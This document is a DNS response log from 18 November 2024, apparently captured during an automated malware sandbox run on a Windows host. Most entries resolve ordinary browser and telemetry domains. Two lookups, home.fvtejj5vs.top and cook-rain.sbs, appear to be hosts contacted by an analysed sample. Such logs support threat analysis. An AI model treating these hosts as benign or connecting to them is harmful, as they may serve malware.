Nov 18, 2024 13:29:11.988969088 CET	1.1.1.1	192.168.2.8	0xb041	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 18, 2024 13:29:20.975193024 CET	1.1.1.1	192.168.2.8	0x29cf	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:20.975209951 CET	1.1.1.1	192.168.2.8	0x9183	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:21.152395964 CET	1.1.1.1	192.168.2.8	0x113d	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:21.152395964 CET	1.1.1.1	192.168.2.8	0x113d	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:21.153158903 CET	1.1.1.1	192.168.2.8	0xd7b9	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:22.346458912 CET	1.1.1.1	192.168.2.8	0xc85a	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:22.346982956 CET	1.1.1.1	192.168.2.8	0x1b00	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:23.811000109 CET	1.1.1.1	192.168.2.8	0xb8f9	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:23.811000109 CET	1.1.1.1	192.168.2.8	0xb8f9	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.161	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:23.811557055 CET	1.1.1.1	192.168.2.8	0xfe2e	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:23.837740898 CET	1.1.1.1	192.168.2.8	0x1d3	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:23.837740898 CET	1.1.1.1	192.168.2.8	0x1d3	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:23.837740898 CET	1.1.1.1	192.168.2.8	0x1d3	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:23.837740898 CET	1.1.1.1	192.168.2.8	0x1d3	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:23.845091105 CET	1.1.1.1	192.168.2.8	0x9bc8	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:23.847106934 CET	1.1.1.1	192.168.2.8	0xfb0a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:23.847155094 CET	1.1.1.1	192.168.2.8	0xb0ff	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:23.848618031 CET	1.1.1.1	192.168.2.8	0x9e0c	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:23.857656956 CET	1.1.1.1	192.168.2.8	0xd860	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:23.857808113 CET	1.1.1.1	192.168.2.8	0xe02d	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:25.883847952 CET	1.1.1.1	192.168.2.8	0xbebb	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:25.883847952 CET	1.1.1.1	192.168.2.8	0xbebb	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:25.884270906 CET	1.1.1.1	192.168.2.8	0x57c4	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 13:29:25.884748936 CET	1.1.1.1	192.168.2.8	0x7a5a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:25.884748936 CET	1.1.1.1	192.168.2.8	0x7a5a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:25.885587931 CET	1.1.1.1	192.168.2.8	0x9fd	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 13:29:25.889251947 CET	1.1.1.1	192.168.2.8	0x363d	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:25.901516914 CET	1.1.1.1	192.168.2.8	0x1294	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 13:29:25.901551962 CET	1.1.1.1	192.168.2.8	0xfcd7	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:25.901551962 CET	1.1.1.1	192.168.2.8	0xfcd7	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:25.923163891 CET	1.1.1.1	192.168.2.8	0x6667	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:25.923163891 CET	1.1.1.1	192.168.2.8	0x6667	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:25.978498936 CET	1.1.1.1	192.168.2.8	0xcd57	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:25.978498936 CET	1.1.1.1	192.168.2.8	0xcd57	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:29:26.085014105 CET	1.1.1.1	192.168.2.8	0xe2b4	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:29:26.085014105 CET	1.1.1.1	192.168.2.8	0xe2b4	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:19.279324055 CET	1.1.1.1	192.168.2.8	0x76a7	No error (0)	home.fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:26.801697016 CET	1.1.1.1	192.168.2.8	0xa6c4	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:26.801697016 CET	1.1.1.1	192.168.2.8	0xa6c4	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:37.226340055 CET	1.1.1.1	192.168.2.8	0x9257	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:37.226340055 CET	1.1.1.1	192.168.2.8	0x9257	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:37.226569891 CET	1.1.1.1	192.168.2.8	0xbc71	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 13:30:37.229480982 CET	1.1.1.1	192.168.2.8	0xaa45	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:37.229480982 CET	1.1.1.1	192.168.2.8	0xaa45	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:37.229494095 CET	1.1.1.1	192.168.2.8	0x2181	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 13:30:37.231393099 CET	1.1.1.1	192.168.2.8	0x59c3	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 18, 2024 13:30:37.231677055 CET	1.1.1.1	192.168.2.8	0xb917	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:37.231677055 CET	1.1.1.1	192.168.2.8	0xb917	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:53.547239065 CET	1.1.1.1	192.168.2.8	0xcc3d	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:53.627701044 CET	1.1.1.1	192.168.2.8	0x75fb	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:54.359770060 CET	1.1.1.1	192.168.2.8	0x752b	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:30:54.359770060 CET	1.1.1.1	192.168.2.8	0x752b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:54.403917074 CET	1.1.1.1	192.168.2.8	0xc493	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:54.419588089 CET	1.1.1.1	192.168.2.8	0x1af	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 18, 2024 13:30:55.076819897 CET	1.1.1.1	192.168.2.8	0xc423	No error (0)	youtube.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:55.089401960 CET	1.1.1.1	192.168.2.8	0x6d52	No error (0)	youtube.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:30:55.098715067 CET	1.1.1.1	192.168.2.8	0xa955	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 18, 2024 13:31:10.893671036 CET	1.1.1.1	192.168.2.8	0xac8f	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:10.894965887 CET	1.1.1.1	192.168.2.8	0x7f87	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:12.352607965 CET	1.1.1.1	192.168.2.8	0x2de8	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:12.352607965 CET	1.1.1.1	192.168.2.8	0x2de8	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.444339037 CET	1.1.1.1	192.168.2.8	0x4f87	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.445256948 CET	1.1.1.1	192.168.2.8	0x640e	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:12.445256948 CET	1.1.1.1	192.168.2.8	0x640e	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.455394030 CET	1.1.1.1	192.168.2.8	0xb8d9	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.481501102 CET	1.1.1.1	192.168.2.8	0x5099	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:12.481501102 CET	1.1.1.1	192.168.2.8	0x5099	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.500530005 CET	1.1.1.1	192.168.2.8	0x3614	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.504693031 CET	1.1.1.1	192.168.2.8	0xc986	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:12.504693031 CET	1.1.1.1	192.168.2.8	0xc986	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:12.504693031 CET	1.1.1.1	192.168.2.8	0xc986	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.505239010 CET	1.1.1.1	192.168.2.8	0x1f8	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.538662910 CET	1.1.1.1	192.168.2.8	0x97c1	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.552295923 CET	1.1.1.1	192.168.2.8	0x8616	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 18, 2024 13:31:12.561495066 CET	1.1.1.1	192.168.2.8	0x8694	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:12.660280943 CET	1.1.1.1	192.168.2.8	0x3260	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.761421919 CET	1.1.1.1	192.168.2.8	0xe292	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:12.761421919 CET	1.1.1.1	192.168.2.8	0xe292	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.763433933 CET	1.1.1.1	192.168.2.8	0x798e	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.799462080 CET	1.1.1.1	192.168.2.8	0x7312	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:12.876966000 CET	1.1.1.1	192.168.2.8	0xaf62	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:12.876966000 CET	1.1.1.1	192.168.2.8	0xaf62	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:13.004853964 CET	1.1.1.1	192.168.2.8	0x8891	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:13.007260084 CET	1.1.1.1	192.168.2.8	0x53ce	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:13.007260084 CET	1.1.1.1	192.168.2.8	0x53ce	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:13.007855892 CET	1.1.1.1	192.168.2.8	0xb1fe	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:13.007855892 CET	1.1.1.1	192.168.2.8	0xb1fe	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:13.821034908 CET	1.1.1.1	192.168.2.8	0x434d	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:13.829757929 CET	1.1.1.1	192.168.2.8	0xfafd	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:13.960926056 CET	1.1.1.1	192.168.2.8	0x36ab	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:13.960926056 CET	1.1.1.1	192.168.2.8	0x36ab	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:13.960926056 CET	1.1.1.1	192.168.2.8	0x36ab	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:13.960958958 CET	1.1.1.1	192.168.2.8	0xc8c7	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:13.967601061 CET	1.1.1.1	192.168.2.8	0x5d96	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:13.967601061 CET	1.1.1.1	192.168.2.8	0x5d96	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:13.967644930 CET	1.1.1.1	192.168.2.8	0xb8da	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:13.967644930 CET	1.1.1.1	192.168.2.8	0xb8da	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:13.967644930 CET	1.1.1.1	192.168.2.8	0xb8da	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:13.967644930 CET	1.1.1.1	192.168.2.8	0xb8da	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:14.450428963 CET	1.1.1.1	192.168.2.8	0x7931	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:15.353543043 CET	1.1.1.1	192.168.2.8	0x63a6	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:15.353543043 CET	1.1.1.1	192.168.2.8	0x63a6	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:15.353543043 CET	1.1.1.1	192.168.2.8	0x63a6	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:15.386940956 CET	1.1.1.1	192.168.2.8	0x12bb	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610672951 CET	1.1.1.1	192.168.2.8	0x3021	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610672951 CET	1.1.1.1	192.168.2.8	0x3021	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610707045 CET	1.1.1.1	192.168.2.8	0x542e	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610707045 CET	1.1.1.1	192.168.2.8	0x542e	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610707045 CET	1.1.1.1	192.168.2.8	0x542e	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610707045 CET	1.1.1.1	192.168.2.8	0x542e	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610707045 CET	1.1.1.1	192.168.2.8	0x542e	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610707045 CET	1.1.1.1	192.168.2.8	0x542e	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610707045 CET	1.1.1.1	192.168.2.8	0x542e	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610707045 CET	1.1.1.1	192.168.2.8	0x542e	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610707045 CET	1.1.1.1	192.168.2.8	0x542e	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610707045 CET	1.1.1.1	192.168.2.8	0x542e	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610707045 CET	1.1.1.1	192.168.2.8	0x542e	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610707045 CET	1.1.1.1	192.168.2.8	0x542e	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610707045 CET	1.1.1.1	192.168.2.8	0x542e	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610707045 CET	1.1.1.1	192.168.2.8	0x542e	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610707045 CET	1.1.1.1	192.168.2.8	0x542e	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610707045 CET	1.1.1.1	192.168.2.8	0x542e	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610707045 CET	1.1.1.1	192.168.2.8	0x542e	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610721111 CET	1.1.1.1	192.168.2.8	0xf61f	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:16.610721111 CET	1.1.1.1	192.168.2.8	0xf61f	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630345106 CET	1.1.1.1	192.168.2.8	0xaf63	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630345106 CET	1.1.1.1	192.168.2.8	0xaf63	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630345106 CET	1.1.1.1	192.168.2.8	0xaf63	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630345106 CET	1.1.1.1	192.168.2.8	0xaf63	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630345106 CET	1.1.1.1	192.168.2.8	0xaf63	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630345106 CET	1.1.1.1	192.168.2.8	0xaf63	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630345106 CET	1.1.1.1	192.168.2.8	0xaf63	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630345106 CET	1.1.1.1	192.168.2.8	0xaf63	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630345106 CET	1.1.1.1	192.168.2.8	0xaf63	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630345106 CET	1.1.1.1	192.168.2.8	0xaf63	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630345106 CET	1.1.1.1	192.168.2.8	0xaf63	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630345106 CET	1.1.1.1	192.168.2.8	0xaf63	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630345106 CET	1.1.1.1	192.168.2.8	0xaf63	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630345106 CET	1.1.1.1	192.168.2.8	0xaf63	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630345106 CET	1.1.1.1	192.168.2.8	0xaf63	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630345106 CET	1.1.1.1	192.168.2.8	0xaf63	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630373001 CET	1.1.1.1	192.168.2.8	0x9efa	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.630387068 CET	1.1.1.1	192.168.2.8	0xee53	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.646955013 CET	1.1.1.1	192.168.2.8	0xd234	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 18, 2024 13:31:16.646955013 CET	1.1.1.1	192.168.2.8	0xd234	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 18, 2024 13:31:16.646955013 CET	1.1.1.1	192.168.2.8	0xd234	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 18, 2024 13:31:16.646955013 CET	1.1.1.1	192.168.2.8	0xd234	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 18, 2024 13:31:16.648264885 CET	1.1.1.1	192.168.2.8	0x6666	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 18, 2024 13:31:16.648411036 CET	1.1.1.1	192.168.2.8	0xa470	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 18, 2024 13:31:16.683727026 CET	1.1.1.1	192.168.2.8	0xc896	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.684979916 CET	1.1.1.1	192.168.2.8	0xbb86	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 13:31:16.684979916 CET	1.1.1.1	192.168.2.8	0xbb86	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.684979916 CET	1.1.1.1	192.168.2.8	0xbb86	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.684979916 CET	1.1.1.1	192.168.2.8	0xbb86	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.684979916 CET	1.1.1.1	192.168.2.8	0xbb86	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 13:31:16.718087912 CET	1.1.1.1	192.168.2.8	0x9e52	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
